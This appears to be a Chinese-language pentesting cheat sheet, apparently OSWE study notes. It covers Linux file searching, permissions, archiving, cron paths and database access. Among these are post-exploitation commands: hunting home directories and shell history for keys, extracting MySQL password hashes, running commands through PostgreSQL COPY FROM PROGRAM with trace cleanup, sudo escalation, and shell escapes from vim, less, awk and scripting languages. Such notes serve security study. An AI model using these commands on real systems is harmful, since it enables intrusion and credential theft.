本文最后更新于 2026年4月25日 中午
文件检索
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
grep -Rv 'test' /home 2>/dev/null
grep -RL 'test' /home 2>/dev/null
find /home -name .bashrc -exec grep 'key' {} \; 2>/dev/null
find /home -type f -exec grep -H 'key' {} \; 2>/dev/null
find /home -name '*sh_history' 2>/dev/null
cat /etc/passwd
grep -A 1 'key' 1.txt grep -B 1 'key' 1.txt grep -C 1 'key' 1.txt
|
Linux 文件/目录权限
1 2 3 4 5 6 7
| ls -l ls -ld
ls -ld /tmp
|
以 /tmp 目录为例,权限字符串 drwxrwxrwt 可拆分为:
1 2
| 文件类型 | 所有者权限 | 所属组权限 | 其他用户权限 d | rwx | rwx | rwt
|
d :表示一个目录。第一个字符表示文件类型,常见取值如下:
-:普通文件
d:目录
l:符号链接
c:字符设备
b:块设备
p:管道文件
s:套接字文件
第 1 组 rwx:表示所有者(user)的权限。
第 2 组 rwx:表示所属组(group)的权限。含义与所有者权限一致。
第 3 组 rwt:表示其他用户(others)的权限。
r:可读
w:可写
t:表示设置了粘滞位(sticky bit)。
除了 t 粘滞位,还有 T S s 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| rwx
rws rwS
rws rwS
rwt rwT
4 = setuid 2 = setgid 1 = sticky bit
4755 → setuid + 755 2755 → setgid + 755 1777 → sticky bit + 777
|
1 2 3 4
| -rwsr-xr-x -rwxr-sr-x drwxrwxrwt
|
- SUID:普通用户执行这个文件时,进程会临时以文件所有者的身份运行。
- SGID:用户执行该文件时,进程会临时以文件所属组的身份运行。
- Sticky Bit:即使目录对所有人可写,普通用户也只能删除自己创建的文件,不能随便删除别人的文件。
文件解压缩处理
zip/unzip
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| zip 1.zip 1.txt
zip test.zip 1.txt 2.txt 3.txt
zip -r test.zip testdir/
unzip test.zip
unzip test.zip -d ./output/
unzip -l test.zip
|
7z
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 7z a test.7z 1.txt
7z a test.7z 1.txt 2.txt 3.txt
7z a test.7z testdir/
7z x test.7z
7z x test.7z -o./output/
7z l test.7z
|
tar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
tar -cvf test.tar testdir/
tar -xvf test.tar
tar -zcvf test.tar.gz testdir/
tar -zxvf test.tar.gz
tar -jcvf test.tar.bz2 testdir/
tar -jxvf test.tar.bz2
|
bunzip2
1 2 3 4 5 6 7
| bzip2 file.txt bzip2 -k file.txt
bunzip2 file.txt.bz2 bzip2 -d file.txt.bz2
|
gzip
1 2 3 4 5 6 7 8 9 10
| zcat file.gz
gzip file.txt gzip -k file.txt
gzip -d file.gz gunzip file.gz
|
Linux 临时目录
1 2 3
| /tmp /var/tmp /dev/shm
|
Linux 计划任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| /etc/crontab /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ /etc/cron.d/
crontab -l
/var/spool/cron/crontabs/
/var/spool/cron/
|
MySQL 密码提取
1 2 3 4 5 6 7 8 9 10
| /var/lib/mysql/mysql/
user.frm user.MYD user.MYI
strings /var/lib/mysql/mysql/user.MYD 2>/dev/null
|
PostgreSQL RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| # 连接 PostgreSQL psql -U user -W
# 查看数据库 \l
# 切换数据库 \c databases_name
# 查看表信息 \d
# 查询表信息 select * from users;
# PostgreSQL 9.3+ 支持 COPY FROM PROGRAM # 通常需要 superuser 权限,或具备 pg_execute_server_program 角色权限 DROP TABLE IF EXISTS cmd_exec; # 删除表,防止已经存在 CREATE TABLE cmd_exec(cmd_output text); # 创建表 COPY cmd_exec FROM PROGRAM 'id'; # 执行命令 SELECT * FROM cmd_exec; # 查看命令回显 DROP TABLE IF EXISTS cmd_exec; # 清理痕迹
|
Sqlite 数据库
1 2 3 4 5 6 7 8
| # 数据库连接 sqlite3 xxx.db
# 查看所有表 .tables
# 查看表内容 select * from users;
|
Sudo 提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| /etc/sudoers
user ALL=(ALL) ALL
%sudo ALL=(ALL:ALL) ALL
sudo -l
sudo -u user /bin/bash
|
Vim 基础使用
1 2 3 4 5 6 7 8 9 10
| vim filename
:wq :wq! :q :q! :r filename :!/bin/bash
|
Less 基础使用
1 2 3 4 5 6 7
| less filename ps aux | less
:e filename :!/bin/bash
|
Awk 基础使用
1 2 3 4 5
| awk '{print $1}' /etc/passwd
awk 'BEGIN {system("/bin/bash")}'
|
编程语言执行 Shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| perl -e 'exec "/bin/sh"'
ruby -e 'exec "/bin/sh"'
/usr/bin/ruby -e 'require "irb" ; IRB.start(__FILE__)'
python -c 'import os; os.execl("/bin/sh", "sh")'
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
var exec = require('child_process').exec; exec('[COMMAND]', function (error, stdOut, stdErr) { console.log(stdOut); });
|
Thinks
以上内容已同步至 知识库 ,方便随时查阅,详情请访问下方链接:
1
| https://f0nesec.github.io/f0nesec-docs/Certifications/OSWE/1/
|
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨